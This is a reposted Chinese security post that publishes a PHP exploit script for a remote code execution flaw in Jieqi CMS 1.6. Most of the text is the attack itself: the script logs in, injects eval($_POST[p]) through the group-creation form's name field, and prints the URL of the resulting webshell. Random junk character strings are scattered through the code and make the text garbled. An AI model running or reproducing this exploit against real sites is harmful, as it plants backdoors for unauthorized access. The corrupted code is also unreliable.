Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

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该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。
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<?php

print_r('
6 Z$ z4 l) e# G: C6 Y/ P( y, Z4 l8 x+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
2 j, }) q+ i. k) m' v9 oteam: http://www.wolvez.org
: Z# H) T9 V1 d+---------------------------------------------------------------------------+
4 v- S# u. ?( o9 K'); /**
4 W2 w6 w: C7 A! X9 V4 u * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
  L# Z! u0 ?  _host:      target server (ip/hostname)
, T6 n3 Z/ r+ t3 L' Lpath:      path to jieqicms
! V8 ^% p, L8 euasename:  a username who can create group
0 i; F4 ~6 F7 x, gExample:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
4 |/ s! A' j: r" r5 u* E'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
" ]7 n6 M: w" ?" w9 {Content-Disposition: form-data; name="gname"

7 c, B& m. f7 \1 m! T'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
- P8 b% h, s  W6 vContent-Disposition: form-data; name="gcatid"
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1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"

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-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

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$ X6 y$ f0 @9 {' w2 b3 {& Y-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

) N1 a7 @6 l* S$ R) P3 O' H9 Xpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;